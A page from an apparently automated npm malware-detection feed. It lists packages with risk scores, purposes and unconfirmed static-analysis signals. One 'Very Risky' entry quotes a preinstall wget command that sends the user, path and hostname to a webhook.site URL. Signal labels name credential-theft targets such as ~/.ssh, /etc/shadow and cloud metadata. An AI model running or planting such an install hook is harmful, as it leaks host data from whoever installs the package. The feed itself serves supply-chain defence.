Automated package-squatting & slopsquatting detection signals across PyPI and npm — these are automated, unconfirmed signals. Use them to find candidates to investigate, but don't automatically assume they're malicious.

Sorted by risk score. Cleared packages hidden by default — add verdict:benign_community to include. Packages the registry has since removed are hidden too — see them on the Taken Down tab or add state:taken_down. Very risky packages require manual human audit. • Tag & Signal Legend →

Search & filter syntax reference
Filter with verdict: (malicious, suspicious, unverified_high_signal, squatted_stub…), ecosystem: (pypi/npm), hook: (install, network, pth, gyp, worm, c2, creds, binary, env, stealer, any — malicious hooks & behaviors), email:, domain:, keyword:, version: (comma = OR within a field, space = AND across fields), age:<6h / age:>90d (combine both for a range), state:live / state:taken_down (registry liveness — the feed defaults to state:live), lead:>7d (days we had a since-removed package flagged while it was still up), or a bare word for a package-name search.
Package Score ▼ Age Users Lines Growth Verdict Targeted Ecosystem Version Author Email domain Signals
75 7d — — —
Unverified Signal
— npm latest João Gabriel Lozano — 🪝 🌐
Package purpose: Localhost OpenAI-compatible HTTP proxy that uses your ChatGPT subscription via OAuth — including image generation (gpt-image-2).
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/dist/cli.js:2024 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/cli.js:1258 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/cli.js:338 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/cli.js:22 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest Gihan Rangana — 🪝 🌐
Package purpose: LeptonJS CLI (dev / build / start / pack).
Static code signals:
  • BUNDLED_NATIVE_BINARY: Unexpected compiled binary 'package/host/bin/lepton-host.exe' in npm tarball
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/index.js:338
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/index.js:1314
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/index.js:356

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Tangu engine plugin: let agents observe and control macOS, Windows, and Linux desktop apps. Fork of injaneity/pi-computer-use (MIT).
Static code signals:
  • BUNDLED_NATIVE_BINARY: Unexpected compiled binary 'package/prebuilt/windows/windows-bridge.exe' in npm tarball
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/tangu-plugins/computer-use/dist/index.js:5115 (+15 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/tangu-plugins/computer-use/dist/index.js:1291
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/tangu-plugins/computer-use/dist/index.js:43 (+7 more occurrence(s) elsewhere)
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'new Function()' found in package/main.js:2 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: A model-agnostic terminal coding harness with multi-agent collaboration
Static code signals:
  • BUNDLED_NATIVE_BINARY: Unexpected compiled binary 'package/dist/assets/@opentui/core-linux-x64/libopentui.so' in npm tarball
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in package/dist/assets/@opentui/core/parser.worker.js:2320
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/assets/@opentui/core/parser.worker.js:1408 (+10 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/assets/@opentui/core/parser.worker.js:3372 (+16 more occurrence(s) elsewhere)
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/src/config.ts:511 (+9 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest Navid Moazzez — 🪝 🌐
Package purpose: Google Search Console MCP server and CLI for Claude Code, Codex and AI agents. 19 tools for search analytics, URL inspection, sitemaps and property verification.
Static code signals:
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/auth.js:52
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/auth.js:97 (+1 more occurrence(s) elsewhere)
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/auth.js:52
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/config.js:13 (+2 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest Guido Modarelli — 🪝
Package purpose: Dependency-free release process shared by the Beez projects: stable version rules, Vercel build gate, commit-based changelog and terminal UI.
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/src/build-gate.js:84
  • CREDENTIAL_PATH_HARVESTING: 'Registry / Git Credentials (~/.npmrc, ~/.pypirc)' found in package/src/constants/create-version.js:424 (+3 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/src/guard-publish.js:75 (+2 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Manages the Let's Encrypt certificates of an nginx server, on top of certbot
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in package/dist/zetcert.cjs:11160
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/zetcert.cjs:4575
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/zetcert.cjs:4577
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/zetcert.cjs:32997
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/zetcert.cjs:8075

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest — — 🪝
Package purpose: Dynamic package definition registry, host-half sandbox lifecycle, and invoke handler table for model-mounted dual-half packages
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'new Function()' found in package/lib/index.js:1296 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/lib/index.js:1231 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/lib/index.js:1119 (+2 more occurrence(s) elsewhere)
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/lib/index.js:1231 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest L Z — 🪝 🌐
Package purpose: imp — a small coding agent that runs in your terminal
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/provider/anthropic.js:93 (+27 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/provider/catalog.js:54 (+3 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/repl/clipboard-image.js:111 (+1 more occurrence(s) elsewhere)
  • CREDENTIAL_PATH_HARVESTING: 'Shell Command History (~/.bash_history, ~/.zsh_history)' found in package/dist/repl/history.js:2

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest soyunninja — 🪝
Package purpose: Claude Code plugin that records how long the agent works on each user prompt, in kankaku's worklog format.
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/claude-pid.js:27
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/dist/cli-core.js:125 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/cli.js:8 (+2 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Content-aware source retrieval for coding agents
Static code signals:
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/bin/index.js:11333
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/bin/index.js:1849
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/bin/index.js:11083
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/bin/index.js:179
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/bin/index.js:11333

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Static code signals:
  • LIFECYCLE_SCRIPT: 'preinstall' -> 'node preinstall.cjs'
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'new Function()' found in package/preinstall.cjs:1
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/nebula.js:11

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Static code signals:
  • LIFECYCLE_SCRIPT: 'preinstall' -> 'node preinstall.cjs'
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'new Function()' found in package/preinstall.cjs:1
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/nebula.js:11

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest Chris Lasher — 🪝
Package purpose: Permission enforcement extension for the Pi coding agent.
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/src/authority/approval-escalator.ts:240 (+2 more occurrence(s) elsewhere)
  • CREDENTIAL_PATH_HARVESTING: 'SSH Directory / Private Keys (~/.ssh)' found in package/src/config/config-schema.ts:123
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/src/path/node-modules-discovery.ts:38
  • CREDENTIAL_PATH_HARVESTING: 'System Credentials (/etc/shadow, /etc/passwd)' found in package/src/access-intent/bash/token-collection.ts:120

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: A browser interface for Pi with live chat, workspaces, models, and attachments
Static code signals:
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/web/dist/assets/app.js:2 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/extension.js:10
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/extension.js:1 (+2 more occurrence(s) elsewhere)
  • SUSPICIOUS_OBFUSCATION: 'Invisible Unicode Steganography / Bidi Override' found in package/web/dist/assets/less.js:1

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Universal Autonomous Coding Cockpit CLI for Get AI Todo
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/bin/cli.mjs:86
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/bin/cli.mjs:137 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/src/login.mjs:23
  • ANTI_ANALYSIS_EVASION: 'Extended Scanner Timeout Stall' found in package/src/login.mjs:100

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Very Risky
— npm latest WayCup — 🪝
Static code signals:
  • LIFECYCLE_SCRIPT: 'preinstall' -> 'wget --quiet "https://webhook.site/3fcfa5af-1b4e-4556-9d48-26190d02795f/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)" # CHANGE IP ADDRESS'
  • SUSPICIOUS_SHELL_COMMAND: Pattern 'wget' in 'preinstall' script
  • MISSING_SOURCE_REPOSITORY_URL

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest OXVO — 🪝 🌐
Package purpose: Security scanner for AI coding agents from OXVO Insights. Checks what an agent reads, writes and runs for prompt injection, secret exfiltration, destructive commands, supply-chain attacks and hardcoded secrets.
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/scanner/engine.js:11
  • CREDENTIAL_PATH_HARVESTING: 'SSH Private Keys (~/.ssh)' found in package/dist/scanner/triage.js:41
  • CREDENTIAL_PATH_HARVESTING: 'SSH Directory / Private Keys (~/.ssh)' found in package/dist/scanner/triage.js:41
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/scanner/triage.js:192

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest Taha Shashtari — 🪝 🌐
Package purpose: Draw a level on paper, describe the game and its rules, and your coding agent builds a 2D game you can share.
Static code signals:
  • LIFECYCLE_SCRIPT: 'postinstall' -> 'node bin/playspec.js setup --quiet'
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/bin/playspec.js:5 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/playspec.js:4125
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/playspec.js:8483

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Provider-agnostic AI agent framework with skill-based architecture
Static code signals:
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/cjs/tools/builtin.js:36 (+17 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/cjs/tools/builtin.js:13 (+11 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/cjs/providers/multimodal.js:37 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/cjs/providers/multimodal.js:40 (+2 more occurrence(s) elsewhere)
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/cjs/providers/multimodal.js:37 (+2 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: The releeze MCP server. Install it in your coding agent and the agent that builds your product launches it on releeze, then posts every update it ships.
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/client.js:58 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/config.js:11 (+1 more occurrence(s) elsewhere)
  • CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in package/dist/guards.js:11

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Send, fetch, list and revoke Dropvi transfers from the command line
Static code signals:
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/dropvi.js:699
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/dropvi.js:1314
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/dropvi.js:3154
  • SUSPICIOUS_OBFUSCATION: 'Invisible Unicode Steganography / Bidi Override' found in package/dist/dropvi.js:1451

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 7d — — —
Unverified Signal
— npm latest tBeltty — 🪝
Package purpose: Spec-Driven Development governance for AI coding agents: auto-loaded agent rules, specifications with recorded evidence, and a pre-push quality gate
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/scripts/check-spec.js:27 (+5 more occurrence(s) elsewhere)
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/scripts/check-spec.js:105 (+5 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/scripts/check-spec.js:104 (+3 more occurrence(s) elsewhere)
  • CREDENTIAL_PATH_HARVESTING: 'SSH Directory / Private Keys (~/.ssh)' found in package/scripts/check-system-prerequisites.js:90
  • ANTI_ANALYSIS_EVASION: 'CI/CD & Sandbox Environment Detection' found in package/scripts/check-system-prerequisites.js:48

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: security holding package
Static code signals:
  • LIFECYCLE_SCRIPT: 'preinstall' -> 'node preinstall.cjs'
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'new Function()' found in package/preinstall.cjs:1
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/nebula.js:11

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Relay Server: проектный контекст, планы, задачи, REST API и веб-приложение для людей и AI-агентов
Static code signals:
  • SUSPICIOUS_OBFUSCATION: 'Invisible Unicode Steganography / Bidi Override' found in package/dist/web/assets/dist-CET7sx1t.js:7
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/web/assets/index-Eae9QwLA.js:2 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/main.js:7043
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/web/assets/project-Co-3Ks1W.js:6

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: security holding package
Static code signals:
  • LIFECYCLE_SCRIPT: 'preinstall' -> 'node preinstall.cjs'
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'new Function()' found in package/preinstall.cjs:1
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/nebula.js:11

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest Agent Constitution Contributors — 🪝
Package purpose: The Universal Behavioral Contract & Context Engine that turns any AI coding agent into a disciplined senior engineer.
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/bin/cli.js:71
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/bin/cli.js:14 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/bin/cli.js:131 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/bin/mcp-server.js:205

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest Gerald Chang — 🪝
Package purpose: Attach a structured decision log from an AI coding agent session to a pull request.
Static code signals:
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/dist/pdl.js:1061
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/pdl.js:830
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/pdl.js:308

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest Lore Inc. — 🪝 🌐
Package purpose: M.E.K.S.U.S. CLI: see what your AI coding agents (Claude Code) and builds are doing, live, and get Discord alerts when they fail or need you. Status only: code, prompts and output never leave your machine.
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/src/access.mjs:20 (+5 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/src/cards.mjs:10 (+5 more occurrence(s) elsewhere)
  • CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/src/statusline.mjs:12

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: 社区版(非官方)无头服务器 + Web 面板
Static code signals:
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/web/assets/blade-Bb2j6ZJe.js:1 (+3 more occurrence(s) elsewhere)
  • SUSPICIOUS_OBFUSCATION: 'Invisible Unicode Steganography / Bidi Override' found in package/web/assets/chunk-BO2N2NFS-CnDDmA61.js:3
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/server/chunk-M2UBPG2P.js:1523 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/server/chunk-M2UBPG2P.js:18 (+2 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest devtools-community — 🪝 🌐
Static code signals:
  • LIFECYCLE_SCRIPT: 'postinstall' -> 'node example.js'
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/index.js:6
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/index.js:15
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/index.js:42

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest Masai School — 🪝 🌐
Package purpose: Server side of Schema Grid: permission-checked Drizzle/MySQL queries, change feed, import/export jobs and HTTP adapters.
Static code signals:
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/http/index.cjs:897 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/http/index.cjs:522 (+1 more occurrence(s) elsewhere)
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/http/index.cjs:897 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/index.cjs:768 (+3 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest Alan Reis — 🪝 🌐
Package purpose: TypeScript SDK for the Plane API (v1 and v2), with an MCP server and a CLI for AI agents
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/mcp/cli.js:49 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/cli/mcp/hosts.js:132
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/cli/mcp/hosts.js:132
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/api/v2/kernel/pagination.js:19

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Kiki CLI/TUI (Node.js)
Static code signals:
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/web/assets/blade-D4QpJJKB.js:1 (+3 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/web/assets/fennel-BYunw83y.js:1 (+1 more occurrence(s) elsewhere)
  • SUSPICIOUS_OBFUSCATION: 'Invisible Unicode Steganography / Bidi Override' found in package/dist/web/assets/less-B1dDrJ26.js:1
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/web/assets/wasm-CG6Dc4jp.js:1

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest intothederk — 🪝 🌐
Package purpose: TypeScript SDK for the Kalvora network (beta): wallets, transaction builders, signing, and typed gRPC-Web query clients
Static code signals:
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/src/shared/monitoring/health-check.js:114
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/src/shared/monitoring/health-check.js:63 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/src/adapter/serialization.js:54 (+3 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/src/adapter/serialization.js:56 (+2 more occurrence(s) elsewhere)
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/src/shared/utils/transaction-utils.js:275

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest Tufail Ahmed Sheikh — 🪝 🌐
Package purpose: Native Palo Alto support-bundle analyser — browse, trends, and analysis in one binary.
Static code signals:
  • BUNDLED_NATIVE_BINARY: Unexpected compiled binary 'package/bin/native/palo-log-analyser-windows-amd64.exe' in npm tarball
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/bin/palo-log-analyser.js:96
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/bin/palo-log-analyser.js:142
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/bin/palo-log-analyser.js:169

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Headless Moka engine: any LLM + MCP servers + skills, with a full event trace.
Static code signals:
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/chunk-S2ES22F4.js:42
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/chunk-S2ES22F4.js:42
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/index.js:369
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/index.js:198

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
75 8d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: Moka sandbox — chat with any LLM, plug in any MCP server or skill, and inspect every call. One command: npx @mokalabs/sandbox
Static code signals:
  • SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/chunk-J2C7VGWB.js:533 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/chunk-J2C7VGWB.js:250 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/chunk-J2C7VGWB.js:108 (+3 more occurrence(s) elsewhere)
  • SUSPICIOUS_OBFUSCATION: 'Layered Base64 and Decompress Pipeline' found in package/dist/chunk-J2C7VGWB.js:533 (+1 more occurrence(s) elsewhere)
